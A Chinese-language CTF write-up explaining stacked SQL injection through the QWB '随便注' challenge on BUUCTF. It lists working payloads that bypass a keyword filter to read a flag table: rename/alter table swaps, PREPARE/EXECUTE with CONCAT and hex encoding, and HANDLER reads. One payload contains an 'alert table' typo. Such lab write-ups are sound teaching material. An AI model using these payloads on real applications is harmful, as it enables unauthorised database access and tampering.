目录
什么是堆叠注入?
强网杯-随便注
rename && alter绕过
prepare绕过
Handle绕过
靶机:BUUCTF在线评测
什么是堆叠注入?
在一些场景中,应用程序支持一次执行多条SQL语句,我们称为堆叠查询,如果应用程序中存在SQL注入漏洞,攻击者就可以在原有的SQL语句后添加新的SQL语句,这种攻击就成为堆叠注入攻击
将多个语句一起进行查询,比如
select * from users;show databases; 产生这种注入的原理也很简单,是由于PHP mysql_multi_query()这个函数支持多个SQL语句同时执行,只需要使用;分割即可。
例如:我们可以使用下列一条语句同时查询出两条数据:
强网杯-随便注
现在知道了堆叠注入是什么后,现在在强网杯的随便注例题试试看
进入到题目中发现是这样的:

那么可以提交一个1看看会有什么反应:

尝试使用'闭合
 可以看到这里也是报错了,说明是存在注入点的
可以看到这里也是报错了,说明是存在注入点的
那么我们可以尝试注入一下数据库有多少列:

通过测试发现数据库中一共是有2列,那么再来试试使用union 来进行联合查询一下:
可以看到这里打印的是后端过滤的字符串,我们需要使用的select被过滤掉了
这里不使用这些被过滤的字符串,使用堆叠注入我们可以使用show直接查出数据库和表名:


也可以使用desc查看一下表结构:


注:这个纯数字的表名需要使用反引号引起来
根据上面查找知道回显的表是有两列的,因此就是word表了
现在需要做的就是查询字段了,但是select 关键字被过滤了,无法查询,因此我们需要绕过限制来查询数据:
rename && alter绕过
现在知道了前台是有显示数据的,并且这个数据是从words这个表中读取的,因此,我们可以把表名1919810931114514 改为word,并将数字名的表中的列名改为与words表里同样的列名就可以让前台顺利的读取flag
我们先查看一下words表中的列名:
1';show columns from words;
可以看到分别是id 和 data然后我们现在需要去将1919810931114514表中的列名flag 修改为 data 并添加一列 id,因为words表有两列,而1919810931114514表只有一列
payload:
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
重命名完成后,使用alter进行查询:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
可以看到这样就成功的拿到了flag
prepare绕过
预处理或者说是可传参的语句用来高效的执行重复的语句
MYSQL官方将:
prepare、execute、deallocate统称为PREPARE STATEMENT
三个基本语句:
prepare stmt_name from preparable_stmt;
execute stmt_name [using @var_name [, @var_name] ...];
{deallocate | drop} prepare stmt_name;payload
1';seT @a = CONCAT('se','lect * from `1919810931114514`;'); pRepare flag from @a;EXECUTE flag;# 
 
set prepare 被过滤了,因此在payload中进行简单的大小写绕过
首先设定一个变量a 并使用mysql的concat函数拼接语句
prepare from 是预处理语句
execute用来执行由SQLPrepare创建的SQL语句
而值得注意的是,SET只能一次对一个变量赋值
也可以使用编码来绕过select
使用Hex对
select * from ` 1919810931114514 `进行编码
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#而无论是payload1中的prepare flag 还是payload2中的execsql他们都是我们起的一个代称,下面的execute用来执行这个你起的代称。比如 EXECUTE flag execute execsql

Handle绕过
HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭
MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。
不使用索引
# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT ... ]# 关闭以打开的句柄
HANDLER tbl_name CLOSE使用select查询 users表中的数据:

使用handler查询 users表中的数据:
首先打开句柄:
handler users open;接着查询数据:
handler users read first;
handler users read next;
payload:
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;